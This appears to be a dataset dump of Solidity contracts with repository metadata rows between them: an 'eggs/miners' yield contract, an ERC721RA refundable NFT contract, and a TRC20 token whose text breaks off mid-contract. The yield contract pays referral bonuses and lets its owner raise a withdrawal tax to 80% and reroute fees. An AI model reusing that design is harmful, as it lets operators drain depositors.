if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and eggValue will be deducted with 60% feedback tax.
eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and eggValue will remain without deductions
user.dailyCompoundBonus = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR_SELL));
if(getBalance() < eggValue) {
eggValue = getBalance();
}
uint256 eggsPayout = eggValue.sub(payFees(eggValue));
payable(address(msg.sender)).transfer(eggsPayout);
user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
totalWithdrawn = totalWithdrawn.add(eggsPayout);
}
function buyEggs(address ref) public payable{
require(contractStarted);
User storage user = users[msg.sender];
require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met.");
require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value));
user.userDeposit = user.userDeposit.add(msg.value);
user.initialDeposit = user.initialDeposit.add(msg.value);
user.claimedEggs = user.claimedEggs.add(eggsBought);
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER);
payable(address(upline)).transfer(refRewards);
users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 eggsPayout = payFees(msg.value);
totalStaked = totalStaked.add(msg.value.sub(eggsPayout));
totalDeposits = totalDeposits.add(1);
hatchEggs(false);
}
function payFees(uint256 eggValue) internal returns(uint256){
uint256 development = eggValue.mul(DEV).div(PERCENTS_DIVIDER);
uint256 marketing = eggValue.mul(MKT).div(PERCENTS_DIVIDER);
owner.transfer(development);
dev1.transfer(development);
dev2.transfer(development);
mkt.transfer(marketing);
return marketing.add(development.mul(3));
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
return calculateEggSell(userEggs);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs), SafeMath.add(PSNH, SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs), SafeMath.mul(PSNH, rt)), rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, getBalance());
}
function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
uint256 day = 1 days;
uint256 eggsPerDay = day.mul(miners);
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
return calculateTrade(eggs,marketEggs, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() public view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed.mul(users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function CHANGE_OWNERSHIP(address value) external {
require(msg.sender == owner, "Admin use only.");
owner = payable(value);
}
function CHANGE_DEV1(address value) external {
require(msg.sender == dev1, "Admin use only.");
dev1 = payable(value);
}
function CHANGE_DEV2(address value) external {
require(msg.sender == dev2, "Admin use only.");
dev2 = payable(value);
}
function CHANGE_MKT_WALLET(address value) external {
require(msg.sender == owner || msg.sender == dev1, "Admin use only.");
mkt = payable(value);
}
// 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%, 1080000 - 8%
// 959000 - 9%, 864000 - 10%, 720000 - 12%, 575424 - 15%, 540000 - 16%, 479520 - 18%
function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 479520 && value <= 2592000);
EGGS_TO_HIRE_1MINERS = value;
}
function PRC_MKT(uint256 value) external {
require(msg.sender == owner || msg.sender == dev1, "Admin use only.");
require(value <= 50);
MKT = value;
}
function PRC_DEV(uint256 value) external {
require(msg.sender == owner || msg.sender == dev1, "Admin use only.");
require(value <= 50);
DEV = value;
}
function PRC_REFERRAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 100);
REFERRAL = value;
}
function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 800);
WITHDRAWAL_TAX = value;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 900);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 30);
COMPOUND_BONUS_MAX_TIMES = value;
}
function BONUS_COMPOUND_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
COMPOUND_STEP = value * 60 * 60;
}
function SET_MIN_INVEST_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
MIN_INVEST_LIMIT = value * 1e18;
}
function SET_CUTOFF_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only");
CUTOFF_STEP = value * 60 * 60;
}
function SET_WITHDRAW_COOLDOWN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value <= 24);
WITHDRAW_COOLDOWN = value * 60 * 60;
}
function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value >= 20);
WALLET_DEPOSIT_LIMIT = value * 1e18;
}
}
| 119,018 | 11,267 |
7c497a7b5d252827342a3762d8299e3c786cb0bc4ecd78db9859d124d36894d7
| 29,651 |
.sol
|
Solidity
| false |
492947597
|
ERC721RA/erc721ra
|
37de32a4eb26fe710c84f36cedd4d571d6ac89fd
|
contracts/ERC721RA.sol
| 4,760 | 20,302 |
pragma solidity >=0.8.4 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
error ApprovalCallerNotOwnerNorApproved();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error MintZeroAmount();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error RefundNotActive();
error RefundTokenHasBeenBurned();
error RefundCallerNotOwner();
error RefundHasAlreadyBeenMade();
error RefundNotSucceed();
error RefundZeroAmount();
error WithdrawWhenRefundActive();
error WithdrawNotSucceed();
error WithdrawZeroBalance();
error WithdrawToZeroAddress();
error TransferToZeroAddress();
error MintToZeroAddress();
error ReturnAddressSetToZeroAddress();
error RefundToZeroAddress();
error QueryTokenNotExist();
error QueryZeroAddress();
contract ERC721RA is Context, ERC165, IERC721, IERC721Metadata, Ownable {
using Address for address;
using Strings for uint256;
// Token data to track token
struct TokenData {
// Whether the token has been burned.
bool burned;
// Whether token has been refunded
bool refunded;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// The address of the owner.
address ownerAddress;
// Track refund information of each token. Token can be returned even they're not owned by minter.
// Only allowed to refund once, Keeps track of the price paid by minter, price in Wei
uint256 price;
}
// Owner data to track against token balance
struct OwnerData {
// Token balance
uint32 balance;
// Number of tokens minted
uint32 numberMinted;
// Number of tokens burned
uint32 numberBurned;
// Number of tokens refunded
uint32 numberRefunded;
// To record extra information.
uint32 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// The number of tokens refunded.
uint256 internal _refundCounter;
// The refund end timestamp
uint256 private immutable _refundEndTime;
// The return address to transfer token to
address private _returnAddress;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to tokenData details
mapping(uint256 => TokenData) internal _tokenData;
// Mapping owner address to address data
mapping(address => OwnerData) private _ownerData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_,
string memory symbol_,
uint256 refundEndTime_) {
_name = name_;
_symbol = symbol_;
_refundEndTime = refundEndTime_;
_returnAddress = _msgSender();
_currentIndex = _startTokenId();
}
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
function totalSupply() public view returns (uint256) {
// Impossible to underflow:
// _burnCounter cannot be greater than _currentIndex - _startTokenId()
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
function _totalMinted() internal view returns (uint256) {
// Impossible to underflow:
// _currentIndex is always greater than or equal to_startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) external view override returns (uint256) {
if (owner == address(0)) revert QueryZeroAddress();
return _ownerData[owner].balance;
}
function _tokenBurned(uint256 tokenId) internal view returns (bool) {
return _tokenData[tokenId].burned;
}
function _tokenRefunded(uint256 tokenId) internal view returns (bool) {
return _tokenData[tokenId].refunded;
}
function pricePaid(uint256 tokenId) public view returns (uint256) {
return _ownerOf(tokenId).price;
}
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_ownerData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_ownerData[owner].numberBurned);
}
function _numberRefunded(address owner) internal view returns (uint256) {
return uint256(_ownerData[owner].numberRefunded);
}
function _getAux(address owner) internal view returns (uint32) {
return _ownerData[owner].aux;
}
function _setAux(address owner, uint32 aux) internal {
_ownerData[owner].aux = aux;
}
function _ownerOf(uint256 tokenId) internal view returns (TokenData memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr) {
if (curr < _currentIndex) {
TokenData memory tokenData = _tokenData[curr];
// Check if token is not burnt
if (!tokenData.burned) {
if (tokenData.ownerAddress != address(0)) {
return tokenData;
}
// Underlying magic:
// Doesn't explicitly set owner address for consecutive tokens when minting
// Set ownership when checking the data
// Impossible for --curr to be underflow
// Token can never be burnt before minted
while (true) {
tokenData = _tokenData[--curr];
if (tokenData.ownerAddress != address(0)) {
return tokenData;
}
}
}
}
}
}
revert QueryTokenNotExist();
}
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownerOf(tokenId).ownerAddress;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert QueryTokenNotExist();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) external override {
address owner = ERC721RA.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert QueryTokenNotExist();
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory _data) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex && !_tokenData[tokenId].burned;
}
function _safeMint(address to,
uint256 amount,
uint256 pricePaid_) internal {
_safeMint(to, amount, pricePaid_, "");
}
function _safeMint(address to,
uint256 amount,
uint256 pricePaid_,
bytes memory _data) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (amount == 0) revert MintZeroAmount();
_beforeTokenTransfers(address(0), to, startTokenId, amount);
// Incredibly unlikely to overflow:
// balance or numberMinted overflow if either + amount > 2**32 - 1
// updatedIndex overflow if _currentIndex + amount > 2**256 - 1
unchecked {
_ownerData[to].balance += uint32(amount);
_ownerData[to].numberMinted += uint32(amount);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + amount;
// Underlying magic: doesn't explicitly set owner address for consecutive tokens when minting
_tokenData[updatedIndex].ownerAddress = to;
_tokenData[startTokenId].startTimestamp = uint64(block.timestamp);
_tokenData[updatedIndex].price = pricePaid_;
if (to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, amount);
}
function _mint(address to,
uint256 amount,
uint256 pricePaid_) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (amount == 0) revert MintZeroAmount();
_beforeTokenTransfers(address(0), to, startTokenId, amount);
// Incredibly unlikely to overflow:
// balance or numberMinted overflow if either + amount > 2**32 - 1
// updatedIndex overflow if _currentIndex + amount > 2**256 - 1
unchecked {
_ownerData[to].balance += uint32(amount);
_ownerData[to].numberMinted += uint32(amount);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + amount;
// Underlying magic: doesn't explicitly set owner address for consecutive tokens when minting
_tokenData[updatedIndex].ownerAddress = to;
_tokenData[startTokenId].startTimestamp = uint64(block.timestamp);
_tokenData[updatedIndex].price = pricePaid_;
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, amount);
}
function _transfer(address from,
address to,
uint256 tokenId) private {
TokenData memory prevTokenData = _ownerOf(tokenId);
if (prevTokenData.ownerAddress != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Impossible for from address to underflow, or to address to overflow
// nextTokenId is incredibly unlikely to overflow
unchecked {
_ownerData[from].balance -= 1;
_ownerData[to].balance += 1;
TokenData storage currSlot = _tokenData[tokenId];
// Must update price paid when transfer
currSlot.ownerAddress = to;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.price = prevTokenData.price;
uint256 nextTokenId = tokenId + 1;
TokenData storage nextSlot = _tokenData[nextTokenId];
if (nextSlot.ownerAddress == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
// Must update price paid for from address which owns the next token
nextSlot.ownerAddress = from;
nextSlot.startTimestamp = prevTokenData.startTimestamp;
nextSlot.price = prevTokenData.price;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenData memory prevTokenData = _ownerOf(tokenId);
address from = prevTokenData.ownerAddress;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Impossible for balance to go underflow, or numberBurned to overflow
// nextTokenId is icredibly unlikely to overflow
unchecked {
OwnerData storage ownerData = _ownerData[from];
ownerData.balance -= 1;
ownerData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenData storage currSlot = _tokenData[tokenId];
currSlot.ownerAddress = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.price = prevTokenData.price;
currSlot.burned = true;
// If the tokenData slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
uint256 nextTokenId = tokenId + 1;
TokenData storage nextSlot = _tokenData[nextTokenId];
if (nextSlot.ownerAddress == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.ownerAddress = from;
nextSlot.startTimestamp = prevTokenData.startTimestamp;
nextSlot.price = prevTokenData.price;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _approve(address to,
uint256 tokenId,
address owner) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function _checkContractOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory _data) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
function _beforeTokenTransfers(address from,
address to,
uint256 startTokenId,
uint256 amount) internal virtual {}
function _afterTokenTransfers(address from,
address to,
uint256 startTokenId,
uint256 amount) internal virtual {}
function setReturnAddress(address to) external onlyOwner {
if (to == address(0)) revert ReturnAddressSetToZeroAddress();
_returnAddress = to;
}
function returnAddress() external view returns (address) {
return _returnAddress;
}
function refundEndTime() external view returns (uint256) {
return _refundEndTime;
}
function refundActive() public view returns (bool) {
return _refundEndTime > block.timestamp;
}
function _refund(address to, uint256 tokenId) internal {
if (!refundActive()) revert RefundNotActive();
if (to == address(0)) revert RefundToZeroAddress();
if (_msgSender() != ownerOf(tokenId)) revert RefundCallerNotOwner();
if (_tokenData[tokenId].burned) revert RefundTokenHasBeenBurned();
if (_tokenData[tokenId].refunded) revert RefundHasAlreadyBeenMade();
uint256 refundAmount = pricePaid(tokenId);
if (refundAmount == 0) revert RefundZeroAmount();
_beforeTokenTransfers(_msgSender(), _returnAddress, tokenId, 1);
// Refund amount is impossible to overflow
unchecked {
// No need to change balance here, SafeTransferFrom updates balance
_tokenData[tokenId].refunded = true;
_ownerData[_msgSender()].numberRefunded += 1;
_refundCounter++;
}
// safeTransferFrom updates price and startTimestamp of new owner
safeTransferFrom(_msgSender(), _returnAddress, tokenId);
(bool success,) = to.call{value: refundAmount}("");
if (!success) revert RefundNotSucceed();
emit Transfer(_msgSender(), _returnAddress, tokenId);
_afterTokenTransfers(_msgSender(), _returnAddress, tokenId, 1);
}
function _withdraw(address to) internal virtual onlyOwner {
if (refundActive()) revert WithdrawWhenRefundActive();
if (to == address(0)) revert WithdrawToZeroAddress();
uint256 contractBalance = address(this).balance;
if (contractBalance == 0) revert WithdrawZeroBalance();
(bool success,) = to.call{value: contractBalance}("");
if (!success) revert WithdrawNotSucceed();
}
}
| 224,260 | 11,268 |
3497579401899d78fead97b11e4c02ebf9c798930df8e5c38cea6df1d832c586
| 11,024 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBhxyECmAg3uCqqmEHQvGJbrgj9cn1yMZ1_Tewkenaire.sol
| 3,024 | 10,624 |
//SourceUnit: Tewken.sol
pragma solidity ^0.5.10;
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TRC20Detailed is ITRC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TRC20 is Context, ITRC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TRC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "TRC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "TRC20: transfer from the zero address");
require(recipient != address(0), "TRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "TRC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "TRC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "TRC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "TRC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract Ownable {
address public owner;
constructor() public {
owner = address(0x41a4f7f3b8b2984434d71b50c4127ecec3621c334b);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract MinterRole is Context, Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
event onApproveMinter(address approver, address minter);
Roles.Role private _minters;
uint8 public votes = 0;
mapping(address => bool) public voted;
address public requestedMinter;
address public satoshi = address(0x41a4f7f3b8b2984434d71b50c4127ecec3621c334b);
address public trev = address(0x41b46d7b70aeB2fC63661d2FF32eC23637AFd629Ec);
address public craig = address(0x415c992820271B1577014c9944C2D6e7132766c2F5);
address public nomad = address(0x419541eBF4b0A5018F65434f73d7fCa97A12F838EB);
address public giddy = address(0x419fc61d95e128ed69f61789a7dc1116506c88b2ff);
address public jason = address(0x41ebc0c518fb47a2768ff181df41df74765ac1f7c7);
constructor () internal {
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function clearVotes() private {
votes = 0;
voted[satoshi] = false;
voted[trev] = false;
voted[craig] = false;
voted[nomad] = false;
voted[giddy] = false;
voted[jason] = false;
}
function submitRequest(address _minter) public onlyOwner {
clearVotes();
requestedMinter = _minter;
}
function approveRequest() public {
if (msg.sender == satoshi ||
msg.sender == trev ||
msg.sender == craig ||
msg.sender == nomad ||
msg.sender == giddy ||
msg.sender == jason)
{
if (voted[msg.sender] == false) {
voted[msg.sender] = true;
votes++;
emit onApproveMinter(msg.sender, requestedMinter);
}
}
}
function addMinter() public onlyOwner {
if (votes >= 3) {
clearVotes();
_addMinter(requestedMinter);
}
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
